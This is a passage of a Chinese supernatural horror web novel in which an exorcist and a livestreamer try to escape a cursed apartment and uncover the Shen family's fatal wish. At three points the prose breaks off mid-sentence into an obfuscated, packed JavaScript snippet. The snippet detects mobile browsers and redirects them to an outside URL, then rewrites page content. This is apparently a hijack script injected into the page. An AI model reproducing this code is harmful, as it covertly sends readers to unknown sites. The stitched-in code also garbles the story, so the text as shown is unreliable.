管理局也会对这部分人会进行监管,但如果一切都是在域里发生的,没有证据,那也鞭长莫及。 如果不隶属于管理局,除魔师就只是一个代表实力的身份。承接委托后可以是保镖,毫无关系时可以是死神。 周少麟也同样。 谨慎是对的。在这个远离规则和秩序的诅咒域里,要提防的不只是诡异,还有人心。 赵嘉言沉默了很久,再次缓缓开口:“我朋友他……留了一些东西给我,所以我才敢继续做直播。这把枪就是他的,里面是特制的子弹,对怨灵也有效果……” “其实正常来说,这些都派不上用场的。没想到这次……” 红梅公寓都快成恐怖主播打卡点了,本不应该有任何东西,他却误打误撞进了域。 周少麟:“为什么想到在这里做白幽灵的许愿仪式?” “白幽灵以前不是很火吗?”赵嘉言声音闷闷的,“都说沈天合是被她诅咒了,又说她被封印在这里……我想着这样会更有热度。” 周少麟摇摇头。 真的一无所知也就罢了,既然已经对诅咒有所了解——即使是摸着石头过河的外行,也不该这么轻率。 沈天合的传闻固然不可全信,但他的惨死、他与白幽灵千丝万缕的联系却是真的。普通人本不应该接近和探寻这一切。 “切入正题吧。”周少麟说,“我是来带你离开的。既然你活过了三天,情报应该比我更多,希望可以共享。我也会把我的观察和推测都告诉你。” “没问题没问题。”赵嘉言点头。 “谢谢。”周少麟凝视着赵嘉言的眼睛,“在开始前,我想先做个说明。” “我的委托内容是将你活着带出域。没有特殊情况,我都会优先保证你的生命安全。” “但我处理二级域的经验不多,保护人的经验更少。只能尽力而为,无法给出任何担保。一步踏错,我们两个都可能死在这里。” “——所以,不要心存侥幸,不要有所隐瞒,不要对我说谎。可以吗?” 幽冷的灯光在周少麟脸上打下一道明暗分界线,琥珀色的瞳仁静如寒潭。 他的瞳色比一般人浅,目光却更深邃。一眼对视,如临深渊。 赵嘉言的喉结滚了滚。 “……没问题。” * 和进入302室的周少麟不同,赵嘉言是直接出现在301室的,也就是沈家。 他最开始很茫然,后知后觉才意识到自己进入了域。 毕竟有过经验,赵嘉言了解域的常识。离开域的方法有两种:1. 找到域的边界 2.祓除诅咒。 除非是专门为此而来的人,否则一般都不考虑第二种。诅咒在域中拥有绝对的支配权,正面冲突极不明智。没有跨等级的优势,连除魔师也不会轻举妄动。 因此,赵嘉言的第一反应就是找边界。找边界又分两种,直接跑出域的覆盖范围,或者找到域内部暗藏的出口。 前者肯定能成功,但那意味着横穿整个域,不知道中间会撞到什么怪物。后者更费心思,需要找线索,但运气好就有可能毫发无损地离开。 赵嘉言不敢贸然出去,只能先在房间里找出口的线索。他也发现了沈月和舒涵的交换日记,了解到小黑屋的存在。 但就在这时,屋外响起了砍门声。 有人在催债,听声音还不止一个,这是诅咒域的猎杀方式。 赵嘉言有枪,但枪法离一枪爆头还很有距离。子弹有限,他也不可能同时对付多个敌人。情急之下,他从三楼跳了下去,为此甚至使用了一个防护灵器。 但讨债人很快就追了上来。即使有枪击掩护,他们的距离也在飞速缩短。 赵嘉言本来也想躲到地下的小黑屋里,但讨债人的速度实在太快了,这样下去,还没找到地方,他就会被讨债人杀掉。 就在他心生绝望的时候,沈天合的诅咒出现了。 那个白色的怪物用烧火棍一样的东西炸碎了四个讨债人,慢慢向他走来。 就在赵嘉言以为自己也会死的时候,怪物却绕过了他,向楼上走去。它痴痴地望着前方,裂开的嘴角向上翘起。 ……看上去,很高兴。 赵嘉言不明所以,但也不敢在外面停留,赶紧打开地盖,躲进了小黑屋里。 躲了三天,直到周少麟出现,都没有任何怪物进来。 * “我一开始以为你是怪物,躲在一撂箱子后面打算开枪。”赵嘉言说,“后来发现是人,但也不敢信,就想先压制你搞清楚状况再说。” ……结果自然是被压制了。 这个年轻人用了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17153347|196465||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不到一秒夺枪瞄准,又在下一秒把武器还给了他,轻描淡写得仿佛这只是一件无关紧要的玩具。 周少麟:“所以你在这里躲了三天整?试过出去吗?” “还没有。”赵嘉言回答,“不过,我已经准备好了。” 他有些迫不及待地开始从背包往外拿东西——枪支、符箓、匕首,以及一条褐色的木珠手链,上面浮动着淡淡的金纹。 “这些都是我朋友留下的——刀炼过,对怨灵管用。符是火符,虽然在这里施展不开,但以防万一。” “这条手链是个防护道具,可以挡下外部冲击,我能从讨债人手里活下来全靠它!可惜一天只能用三次,用完得三天才能恢复。” “有这些,又有你,我们一定能逃出去。”赵嘉言抬起头,眼里放出奇异的光彩。 “——因为,我已经想到离开域的方法了!” * 尽管入域地点不同,但他们的经历有三个明显的共性。 第一,在301室里待着,不久就会有讨债人上门追杀。 第二,讨债人追杀不久后,沈天合就会出现,杀死他们。 第三,沈天合杀死四个人就会停手。 ——所以他才不断重复着“还差两个”、“还差一个”。 赵嘉言笃定道:“所以,只要我们进入301号房,引出讨债人,等沈天合把他们都干掉然后回去,就能趁机跑出域的边界了!” 他说完又有些懊恼,“其实我根本就不该进地下室的。沈天合上楼之后就是最好的时机,要是我调头就跑,跑出红梅小区,早就已经离开域了。” “你当时已经没有防护了,谨慎是对的。”周少麟说,“何况,如果真的试图离开,确定沈天合不会追上来吗?” 阻止外来者离开是域的本能。正因如此,很难在诅咒无损的情况下直接从边界突围。 “没办法确定。”赵嘉言眉头锁起,语气却很恳切,“但这是一个值得尝试的办法,不是吗?” “确实可以执行,但有三处风险。”周少麟说。 “第一,在到达301号房之前,可能遇到其他外来者的怨灵。第二,讨债人出现后,要在不杀掉他们的情况下保证你的安全。第三,沈天合很可能会追上来。” “第一个我会解决。第二个……” 话语顿住。周少麟思考了一会儿,从包里取出一个暗蓝色的、指甲盖大小的珠子,递给赵嘉言。 “灵器【屏珠】。捏碎后周身两米会出现透明防护,能隔绝外力攻击,持续时长视攻击强度而定,在这里应该是五分钟。” 赵嘉言目瞪口呆:“我靠,这个超贵!” “有需要就用。”周少麟平淡道。 赵嘉言小心翼翼地接过,讪讪问:“要给钱吗?” “……”周少麟想了想:“半价?” 赵嘉言立刻双手递还回去:“谢谢,用不起。” “那免费吧。”周少麟毫无波澜,“本来就是给你带的。” 赵嘉言:“……” 所以你原来都无所谓的吗?!这是何等随便的金钱观?? “那、那谢谢。”赵嘉言还是不太敢收下这份昂贵的委托附赠,“我就拿着以防万一。尽量不用,出域还你。” “有需要就用。”周少麟说,“讨债人的威胁性远高于其他怨灵,在四个同时进攻而我不能击杀的情况下,未必能顾到你。三次防护一旦用完,你就使用屏珠。” “……”赵嘉言捧着珠子看了半晌,忐忑道:“那你还有吗?我是说你自己有没有。” 周少麟摇头:“我用不了。” 用不了?赵嘉言一愣。 真是个奇怪的回答,他以为周少麟会说不需要。有灵力就能使用灵器,为什么说用不了? 但周少麟显然没打算解释,继续说道:“当然,最理想的情况是防护和屏珠都用不上,我直接把讨债人废掉。屏珠最好能留到沈天合杀掉讨债人之后,因为我们无法确定他的动向。” 周少麟的目光微微下沉:“……即使作为诅咒,沈天合也让人难以理解。” “衍生物是域的一部分,很少有诅咒会杀死自己的衍生物。” “他生前曾受这些人的欺压,死后又在域里创造他们,一遍遍杀掉。有四个讨债人,他就要杀四个人。衍生物、共生物、外来者,谁都无所谓,只要是四个。为什么?” “我也不知道。”赵嘉言默然片刻,缓缓说:“……但杀完四个讨债人后,它说了句话。” “它说——” “够了,我已经给够了。白幽灵。” 8.红房子(7) 诅咒的执念往往纯粹而极端。 因为纯粹,所以强大。因为极端,所以扭曲。 沈天合死后的诅咒构建了这个域,他的执念是什么? 毫无疑问,与白幽灵有关。 “沈天合实现愿望后,用黑匣子封印了白幽灵,自己也因此受到诅咒。杀妻杀邻,最终自杀。都说那个黑匣子还留在红梅公寓里,却从没有人真正找到过。” 赵嘉言低声道:“如果黑匣子在域里的话,那它一定就是沈天合的依附物吧?” ——依附物是诅咒寄托了最深执念的东西。 如果能破坏依附物,诅咒就会力量大减,即使是低两个等级的除魔师也能将其轻松祓除。 “如果沈天合的动向无法判断,担心它会阻止我们离开域的话。”赵嘉言谨慎地看向周少麟,“要不要考虑找到黑匣子?破坏依附物之后,沈天合也没法拦住我们了吧?” 幽暗的地下室里静默无言。 “非常不建议。”周少麟说,“既然黑匣子是沈天合的依附物,找它这个行为本身就很危险。很可能会在此过程中迷失,像那些徘徊在公寓中的怨灵,被困死在这里。” ——拥有相似欲望的人会被域所吸引,而被欲望所惑的人,将永远迷失在域里。 赵嘉言愣了愣。他只见过讨债人,进入者怨灵都是听周少麟转述的,对此毫无概念。 “更何况,如果黑匣子是依附物,那破坏黑匣子就会放出白幽灵。”周少麟继续道,“遗患无穷。” 赵嘉言沉默了一会儿。 “……好吧,也是。” 片刻后,他挠挠头道,“这么说,沈天合的域反而困住了白幽灵吗?说实话,我想不通他为什么这么做。这个域里哪哪都很怪。” 在传闻中,依靠鬼神力量发家后,沈天合混迹黑白两道,势力如日中天。但因为仇家太多,他害怕其他人也向白幽灵许愿来报复自己,便设法将白幽灵封印进了黑匣子里。 这些传闻其实跟赵嘉言感受到的有些出入。他也看过301号房,感觉就是最普通的民工家庭,贫穷而质朴,这种背景的沈天合实在不像是能黑白通吃的样子。 一个初中学历、工地搬砖的老实男人,在获得财富与权势后却变得残忍暴戾,甚至敢为了清理祸患,封印给予他这一切的白幽灵。 “要真像传闻里说的,那也实在太蠢了。”赵嘉言低声说,“就因为担心一个可能性,害得自己被白幽灵诅咒,落到那个下场……” “因为封印白幽灵,所以才受到诅咒?”周少麟玩味地重复了一遍,“逻辑错了吧?” “如果白幽灵真的被封印,那她就诅咒不了任何人。否则所谓的封印就只是个笑话了。” “那是为什么?”赵嘉言不解,“不然他怎么会突然发疯?” “……”周少麟默然片刻,静静道:“你看了沈月的日记吧。” 他拿出纸笔,开始写画。 2019年1月,舒涵确诊肝癌晚期。 2019年9月,她忽然痊愈,沈家随后开始陷入高利贷纷争。讨债人不断上门,夫妻二人无力照顾女儿,大部分时间都将她安置在地下室。 2020年1月,沈天合赚到了第一桶金,此后青云直上,不到一年跃升为天海市有名的富豪。 2021年7月,他忽然发疯,在老家公寓里杀死了妻子与邻居。 “有两个不合常理的转折点。”周少麟将9月与1月圈起来,“舒涵的病愈,沈天合的发家。” 在外界传闻里,沈天合向白幽灵许愿,获得了庞大的财富。 但从沈月的日记来看,沈天合应该是向白幽灵许愿,治好了舒涵。 “两件事都是真的。”周少麟缓缓说,“白幽灵实现了他两个愿望。” “两个愿望还存在时间差。9月舒涵病愈,12月沈家还困窘不堪,1月又飞黄腾达。” “按照这个顺序,应该是白幽灵先实现了治好舒涵的愿望,之后沈家债务困境爆发,沈天合再度许愿,白幽灵又实现了他获取财富的愿望。” 凌乱的线索被串联起来,矛盾的因果得到了解释。 “这……”赵嘉言不敢置信,“这、这也太慷慨了?” “——既然这样,他到底为什么要封印白幽灵?不管外面怎么传,她都实现了他两个愿望啊!” “而且我听说,除了强烈的愿望外,白幽灵也有其他选择标准……她似乎在找一个人。”赵嘉言喃喃, “如果她真的实现了沈天合两次愿望,那不正说明他符合吗?他已经被选中了啊,他可能就是白幽灵要找的人!” “……” 周少麟瞥了他一眼:“为什么不是因为沈天合的两个愿望都很强烈呢?” ——破得露出棉絮的大衣、磨成薄薄一层也不舍得扔的工地手套、各式各样的欠条。 ——抽屉里厚厚的化疗单、记满一整个本子的肝癌资料、日渐恶化的病情。 五年前的一切都在展示着那个倾家荡产也无力回天的男人有多绝望。 白幽灵喜欢实现强烈的愿望。 于是,比任何人都希望妻子痊愈、比任何人都希望摆脱负债、比任何人都希望回归平静生活的沈天合,得到了比任何人都多的东西。 “……所有传闻都在说,白幽灵能实现任何愿望。却没有一个强调过,这些愿望需要支付什么代价。” “不过,沈天合应该有所意识吧?了解条款是交易者最基本的权利。” “但代价在愿望实现前却是未知的。沈天合知道他要给,却不知道会给出什么。他得到的太多了,无法承受失去同样多的东西。” 求助鬼神,夙夜难安。 周少麟语气微冷:“所以他封印了白幽灵,以为这样就可以逃避那个可怕的代价。” 这可能吗? 三年前那场残忍的屠杀已经给出了答案。 “杀妻杀邻自杀,那不是报复式的诅咒,而是他为愿望付出的代价。” “——真正的诅咒,从他许愿的那刻就开始了!” * 人总是在渴望比自己更神秘、更强大的存在的垂怜。 因为一些所谓的馈赠,就相信自己被注视着、被选中了。 为了得到更多“神迹”,甘愿献出一切。 所以邪神受人供奉,所以密教自古难绝。 ——不过是在用自己的血肉浇灌自己的欲望罢了。 “不要相信任何鬼神的许诺。”周少麟平静地说,“什么都不会得到的。最好的情况,也只是等价血偿。” “……”莫名的,赵嘉言打了个轻微的寒颤。他低下头,声音有些沙哑:“……我知道。” “那就先休息吧。”周少麟结束了这个话题,“要凑够四个讨债人,得等他们再生才行。我进域后解决的第一个怨灵复活用了二十分钟,但讨债人被炸得更碎,保险起见,我们等三小时再出去。” 他给手表定时,“现在现实世界是凌晨一点四十五,我们五点走。熄灯了。” “等等,为啥要熄灯?!”赵嘉言毛都竖起来了。 周少麟奇怪道:“睡觉不熄灯?” “说休息你还真睡觉啊?!” “……”周少麟有些疑惑,“不然?” “三小时后就要生死激战了,这个情况你怎么睡得着的?!” “睡觉时间就睡得着。”周少麟顿了顿,“你怕黑?” “……”赵嘉言移开视线,“算了没事你熄吧。” “这三天你都开着灯吗?可我进来的时候屋里是黑的。” “……那是因为我听到外面哐哐哐吓得给它关了!怕被发现!” “哦,那开着吧。”周少麟松开灯绳。 “没事,关吧。”赵嘉言走过来把灯拉灭,“等会儿主要靠你,你休息比较重要。我也不是怕,就是黑漆漆的感觉不安全。” “谢谢。”周少麟没推辞。地下室黑了下来,他坐在墙边的椅子上,靠墙合上了眼睛。 赵嘉言被这朴素的休息方式震惊,顿时更怀疑他能不能睡着了。摸黑爬到床边,半躺下来,这是张一米五的木板床,床垫很厚,还算舒服。 漆黑的房间里一时间只剩下两个人的呼吸声。 “……那个,你还没睡着吧?”过了一会儿,赵嘉言翻了个身,“我冒昧问个问题行吗?” “嗯。” “你们二级除魔师接委托,一般是多少钱啊?”赵嘉言对空比划,“给个大概范围就行了……呃,很隐私的话不说也行。” “不说。”周少麟一秒都没迟疑,“想知道出去问你母亲。” “母亲”两个字似乎刺痛了赵嘉言,他的目光闪烁一下:“……她现在还好吗?” 周少麟淡道:“很担心你。” “……” 木床嘎吱了一声。 “我也有个问题。”周少麟说,“如果这次活着出去,你还会继续做凶宅直播吗?” 没有回答。黑暗里一片寂静。 周少麟闭上眼:“我知道了。” 很久之后,赵嘉言的声音才闷闷地响起来:“你是不是觉得我很蠢?” “……都两次了,还想着作死。” “可是,有什么办法。我书又读得不怎么样,灵异探险主播是我来钱最快的路子了……” 赵嘉言把脸埋进被子里:“… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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周少麟毫无波澜:“你是?” 白影围着他蹦蹦跳跳地转起圈来,看上去很开心:“我是来实现你的愿望的!你有什么愿望吗?” “你是诅咒域的梦魇?”周少麟的手按在颈环上,“是你引诱了外来者?” “啊不是。”白影摆摆手,“我就见了你一个。因为是你我才特地出来的哦。” “什么意思。” “就是你很特别,我会实现你愿望的意思。”白影似乎在笑,“真幸运,不是吗?” “你跟每个人都这么说吗?”周少麟指节微屈。 “只有你。”白影说,“因为我找的人是你呀。” “嗯……不过现在还不行,你好像也不相信我。随便吧,你该睁眼啦。” 雾气开始消散,白影也渐渐淡去:“为了表示诚意,我给你提个醒吧。” “要小心哦,睁开眼后看到的东西。” 她的尾音愉悦地上扬:“——会杀你!” * 周少麟睁开眼,一个黑影正在缓缓地靠近他。 刺刀在幽暗的房间里甩出一道利落的弧线,在砍断来者脖颈的前一瞬,骤然停了下来。 周少麟眼神微凝:“赵嘉言?” ——刺刀抵在柔软的喉管之下,雪亮的刀身映出一张熟悉的脸。 “我我我我……”赵嘉言震恐之下终于找回了声音,“我靠!” “对不起。”周少麟收起刀,“怎么了?” 赵嘉言没说话。他显然还没从那一瞬的杀势中回过神来,后退两步,悚然摸了下脖子。 ……温热的、黏腻的血。 刺刀在喉上割开了一道细细的血线,再快一秒,就会把他的头整个削断。 他的手颤抖起来:“……” “抱歉。”周少麟递了张纸巾过去,“下意识反应。” “……你这反应也太恐怖了!!”赵嘉言龇牙咧嘴地捂住伤口,“我本来是想晃你起来,刚刚好像看到了什么东西……” 他的声音一跳:“在那里!” 周少麟循声看去。 对墙的角落安静地站着一个瘦小的身影。 没有任何存在感,没有一丝异样气息,静默得仿佛与整个地下室融为了一体。 “开门呀。”黑影发出了稚嫩的童声,“这里好黑。” “好黑啊,我好害怕。” 9.红房子(8) “好黑啊。” “好黑啊,我好害怕。” 女孩的声音稚嫩而空洞,在地下室里幽幽回响。 “我好害怕,好害怕啊。” “……别这样。”赵嘉言牙关都在打战,“我我我我更害怕。” “开灯吧。”周少麟拉下灯绳,地下室亮了起来。 他们看清了黑影的模样。 那是一个穿着碎花裙的小女孩,看上去只有七八岁,瘦瘦小小,皮肤苍白。她的眼睛大而黑,嵌在猫一样的小脸上,像是玻璃珠,一动不动地看着前方。 “好黑啊。”小女孩嘴唇翕动,“好黑啊,我好害怕。” 周少麟:“开灯了已经。” “没有。”小女孩幽幽地往前走了一步,“还是好黑啊,我害怕。” 赵嘉言被这突然的靠近吓了一跳,立刻将枪口指了过去:“别过来!” 周少麟观察了一会儿,按下他的手,“没事。” 他走到床边,就在小女孩身前不远处,摘下了床头挂着的星星灯,在她眼前晃了一下,“我修好它?” 小女孩没说话,只是死死地盯着黯淡的星星灯。 周少麟熟练地拆开后台,检查后,又把手伸进包里,“只是没电了。” “你要给它换电池?”赵嘉言不敢置信,“不会要用手电筒的电池吧?” “带了备用的。”周少麟取出新电池,安在灯里。打开按钮,星星灯散发出温暖的黄色光芒。 光照在女孩苍白的脸上,好像也给那双漆黑的瞳仁带来了一丝生气。 他把灯挂回床头,小女孩静静地站在星星灯下,周身镀上了一层浅浅的光晕。 “……”赵嘉言还是贴着墙不敢动,“就这样?” “就这样吧。”周少麟看了眼表,“四点五十二,可以走了。” “……不用干掉什么的?”赵嘉言在脖子上比划了一下,“虽然是……可也是怨灵吧?” “房客的怨灵没什么攻击性。”周少麟说,“而且也不一定是怨灵,可能是衍生物。” 怨灵出现,说明本体已死。衍生物却是域的造物,与本体无关。 当年红梅公寓的死者里并没有讨债人,他们却依然以死状出现在了这里,说明是诅咒的执念创造了他们。 沈月可能也是同理。而且她只是呆呆的,并非死去的模样。 红梅公寓惨案之后,没人知道沈月去了哪。这个一夜失去父母的可怜女孩就像是消失了,再也没有出现在大众视野里。即使警方和媒体四处找寻,也没有发现她的任何踪迹。 域里的一切都在三年前,所以沈月还是七八岁的模样。完整复刻了红梅公寓的沈天合创造了仇人,也创造了自己的女儿。 赵嘉言战战兢兢地绕过沈月,走上楼梯。周少麟站在阶梯口,目送他上去后,又回头看了一眼。 沈月依然静静地站在灯下,小脸扬起,瞳孔漆黑。 小小的女孩站在这个地下室最亮的地方,望着父母送她的星星,神情专注而期待,好像周围所有黑暗都与她无关。 或许三年前,八岁的沈月也是这样留在小黑屋里,等待着某天光从头顶倾泻而下,久别的父母出现,把她接回那个破旧却温暖的家。 应该不是怨灵吧。周少麟想。 ……不是就好了。 * 此时域中已是深夜,红梅公寓的廊灯是坏的,楼道黑得伸手不见五指。 赵嘉言和周少麟一前一后地走在楼梯上。前者打着手电筒,身上背个包,肩上挂个包,后者只提着一把刺刀。 “那个,”赵嘉言声音颤抖,“你是要保护我的,对吧?” 周少麟:“嗯。” 赵嘉言:“那请问为什么要让我走前面呢?” 周少麟:“保证你在我的视线范围内。” 赵嘉言敢怒又敢言:“可这不是必然被贴脸杀的炮灰位吗!!” 周少麟语气平淡:“我救你。” 赵嘉言:“……” “其实,我还想问个问题。”赵嘉言定定神,“你是……” 脖子忽然被扼紧,话断在口中——周少麟扯住衣领将他往后一拽,错身上前,一刀削断了一只黑色的巨手! 腥锈的血气弥漫开,赵嘉言还没反应过来,就看到一个血淋淋的人头打着旋子飞上天空。 ——周少麟出刀快如闪电,第二刀就直接斩断了怨灵的头颅。 他随后转身,锋利的短匕脱手掷出,正对着赵嘉言的脸! “嚓!” 匕首从脸侧不到两厘米的空中擦过,贯穿了一只怨灵的额头,将他钉死在墙上。 ——这个怪物不知何时出现在了赵嘉言背后,身形几乎交错。 匕首已经整个没入男人的额头,只有刀柄在外。 他徒劳地挣扎着,伸长枯瘦的手臂:“还给我……” 血流满了整张脸,怨灵发出卡带一样断续的声音:“黑黑黑黑匣子,是我我我我的。” “给我。还给我。还还还还给我,还——” 破碎的话语戛然而止。 周少麟走上前,利落地割断了怨灵的喉咙。 他拔出匕首,转向赵嘉言:“你刚刚想问什么?” “……” 赵嘉言的目光近乎呆滞:“问问你几级……” 第二等级不会写在资格证上。他本来想问周少麟是次准正哪一级,在二级域里这么淡定。 ……但现在他觉得,不用问了。 这是他第一次看到这个年轻的除魔师真正出手。没有法术,没有灵器,他只是纯粹地、高效地,用杀死人的方法杀死人形的怨灵。 一个人要挥刀多少次才能这么毫不犹豫?斩断血肉和骨骼,比砍瓜切菜还轻松。好像即使对面是活人,他的刀也不会慢上半分。 “次二级。”周少麟振刀甩掉血迹。 赵嘉言不信:“你这种身手?次二级?” 周少麟:“专精于此而已。” “那你练的是什么?”赵嘉言想不到,“除魔师应该主要是用灵力战斗啊……” 许久没有回话。 他转头看了眼,周少麟依然静静地跟在身后。看来是不想回答这个问题。 隐约还能看到不远处滚在血泊里的头颅,颈口断面蠕动着红色的丝线,那是生长的血肉。 那双只有眼白的眼睛依然圆睁,死死地瞪着他们。 “……”赵嘉言移开视线,加快了上楼的步伐。 接下来反而没再遇到什么阻碍。周少麟从消防柜里拿出301的钥匙,第二次开门进入。 场景一模一样,分毫未变。当时他砍断的讨债人肢体已经消失,血迹也无影无踪,域已经自动重置。 接下来,他们在这里等讨债人出现就行了。 赵嘉言安安分分地坐在沙发上不敢乱动,周少麟却在客厅里绕了一圈,目光扫过各个角落。 “你有没有梦到过白幽灵?”他忽然问,“是一片雾气里的白影。她会说你很特别,要实现你的愿望。” “啥玩意?”赵嘉言茫然,“没有啊。你梦到了吗?” “嗯。”周少麟说,“应该是域影响精神的一种手段。总之不要信。” “谁会信,听起来跟传销一样……”赵嘉言小声嘀咕。 他想了想,又道:“不过,其实我听说,白幽灵实现愿望和收取代价是对等的。要是愿望特别重要,能接受代价的话,许愿是不是也没什么大不了的?” “什么叫对等。”周少麟冷冷地瞥了他一眼,“治好重病的妻子,两年后砍死她?” “……”赵嘉言不说话了。 “赵嘉言,不要乱想。”周少麟缓缓道,“任何想法在域里都可能被极端化。你会迷失在这里的,就像那些寻找白幽灵的进入者一样。” “我知道!没他们那么傻。”赵嘉言甩甩脑袋,“我还要出去照顾我妈呢。” 周少麟点点头,不再说什么了,继续打量客厅。 他在警戒。 诅咒域创造了讨债人,创造了沈月,复刻了三年前的红梅公寓。 ——那么,舒涵呢? 代价的第一个受害者,被丈夫亲手杀死的舒涵。 为什么她不在任何地方? 背后忽然传来一声惊叫。 周少麟立刻转身,只见赵嘉言震惊地对他晃了晃手中的纸,“靠,你看我找到了什么?” “——沈天合和舒涵的离婚协议书!” * 离婚协议的内容简单且清晰。 目前双方感情已经破裂,无法再继续生活。 家庭无债务,女方自愿放弃包括房车在内的婚后财产,但要求女儿的抚养权,理由是男方工作繁忙、忽视家庭,无法给八岁的女儿成长所需的关怀。 女方具备独立经济能力,足以抚养女儿至成年,男方只需支付一半的抚养费。 除了协议以外,还有一封长长的手写信。 舒涵给沈天合的信。 信的内容就柔软了许多,是爱人与亲人之间的语气。从他们的相爱相识一直回顾到如今,字里行间可见夫妻十年的感情。 舒涵和沈天合是相亲认识的。一个小学老师,一个建筑工头,在局促的饭桌上,谈论着各自的生活习惯与未来畅想。 其实舒涵最初对沈天合的硬条件并不是很满意,只是相谈投缘,所以才保留态度发展一下。 可沈天合对她实在太好了,在意她的每一句话和小习惯,精心制作和挑选各种礼物,在她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17162534|196465||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 需要的时候永远第一个出现。 这份爱与关怀最终打动了舒涵。理所当然地,他们在一起了。 婚后第二年,他们就有了个女儿。因为舒涵喜欢月亮,所以取名叫沈月。 有了孩子的家庭生活依然幸福,沈天合像最初一样体贴照顾舒涵,舒涵也用心地履行妻子和母亲的职责。 直到2019年,她确诊了肝癌晚期。 高昂的治疗费用压垮了这个普通的家庭,但沈天合却不愿放弃。他打三份工,吃两顿饭,求遍所有亲戚,甚至借高利贷,只求延续舒涵的生命。 直到最后,他找到了白幽灵,许下愿望。 舒涵病愈了,过去的贷款却无法一笔勾销,各路讨债人陆续找上门来,其中最凶悍的就是一个有黑色背景的高利贷机构。 他们抓住漏洞将利息翻到天文数字后,又开始持续不断地上门催债。 去工地撒泼,去学校堵门,甚至试图去幼儿园绑架沈月。 最长一次,他们连续一星期守在沈家门口,威胁每一个路过的邻居。 物业保安管不了这些□□的流氓,警察也没有实质的证据出警。更何况——欠债还钱,天经地义。 没有人敢回家。沈天合可以住在工地,舒涵可以借宿学校,沈月却不能总是跟着他们。 为了保护女儿,他们改造了一楼的地下室,让沈月放学先去“小黑屋”,等爸爸妈妈来再接她回家。 他们没办法正常工作,没办法正常生活,也根本还不上钱,每时每刻都胆战心惊,过得近乎崩溃。 终于有一次,沈月和舒涵被他们逮住绑走了。 半夜得知消息的沈天合赶到现场,苦苦哀求,仍然无果。他们似乎在说用其他的东西来交换债务,但谈话中途,舒涵和沈月就失去了意识。 等到醒来的时候,她们已经安全地回到了家。 “……直到现在,我也不知道你到底交换了什么。”舒涵的字迹略微颤抖,“你也不愿意跟我说。整整两年了,你都不肯告诉我。” 只是那天之后,讨债人再也没有出现。 不仅如此,沈天合很快就买彩票中了200万,一举还清了所有债务。他辞掉了工地的工作,事业开始蒸蒸日上。 但也是从这个时候起,舒涵开始对他感到陌生。 明明有那么多钱,随便找份什么工作都可以过很富裕的生活了,但沈天合却执意要去投资创业,整天和几个看上去不三不四的人厮混在一起,却不知道具体在做什么。 舒涵甚至认出其中一些人来自那个灰色讨债机构。 沈天合开始经常性的早出晚归,他变得很有钱,也很忙。忙于喝酒、应酬,甚至有传闻,他在沾手一些违法犯罪的生意。 舒涵感到害怕了。 她不只一次质问过他,到底在做什么,为什么不收手,网上的传闻是不是真的。 ——为什么?为什么不愿意花时间多陪陪家里?为什么要和那些□□背景的人往来? 沈天合从不回答。 他只会再给她打一笔钱,让她去随便做些什么,然后关上房门。再后来,他甚至不怎么回家。房子买了很多套,舒涵也不知道他在哪。 舒涵想不通沈天合为什么变成这个样子。 她试图沟通,但他总是回避。她衷心恳求,他却越发暴躁。 他们就好像活在两个世界。那个沈天合为之痴迷的、卷入其中的、危险的金钱世界,舒涵只觉得可怕。 “直到现在,我已经不想深究你到底做了什么了。” “这段婚姻让我感到恐惧又疲惫,我想,你应该也厌倦了这种日子。” “……我甚至有些怀念过去的困顿,起码那个时候,你还肯跟我说说心里话。” “明明一切都已经过去了,我们怎么就变成这个样子了呢?” “但无论如何,我必须让月月有一个健康的成长环境。” “她现在什么都不懂,但她总有一天会知道。我不希望我女儿的父亲是一个为了财富不择手段、甚至不惜违法犯罪的人。” “你可以尽情地投身那个灰暗的金钱世界,但我已经不想更靠近它了。” “我会带月月离开,独自抚养她长大。如果你毫无改变的话,我甚至不希望你来看她。” “而我们两个也走到头了……可能从两年前,就已经开始走向尽头了。” “沈天合,我们离婚吧。” * 三页信纸的剖白,决绝地为这场婚姻画上了一个句号。 写下这封极尽真诚、困惑与痛心的信时,舒涵一定没有想到,这封信也会给她的生命画上句号。 信的落款时间是2021年7月28日。 ——红梅公寓惨案的事发当天。 10.红房子(9) 客厅中静悄悄的,气氛有些沉重。 “……这封信很可能就是他们两人争吵的导火索。” 周少麟垂下眼帘:“舒涵无法接受沈天合发家之后的改变,想带着女儿离开他,沈天合却不允许。” “不准老婆离婚,然后就砍死了她?”赵嘉言攥紧了信纸,“这也……实在是疯了。” 周少麟没有说话,眉头微锁,不知在思考什么。 “沈天合当时也不正常吧,是因为诅咒才发的疯?舒涵没有意识到吗?” 赵嘉言不忍地把信放回桌面上,“早知道这样,她还不如不要写这封信,直接一走……” 周少麟忽然动了。他扣住赵嘉言的后背,猛地把他向下一按! 赵嘉言毫无准备,整个人直接向前摔去,左脸砰的砸在地上。 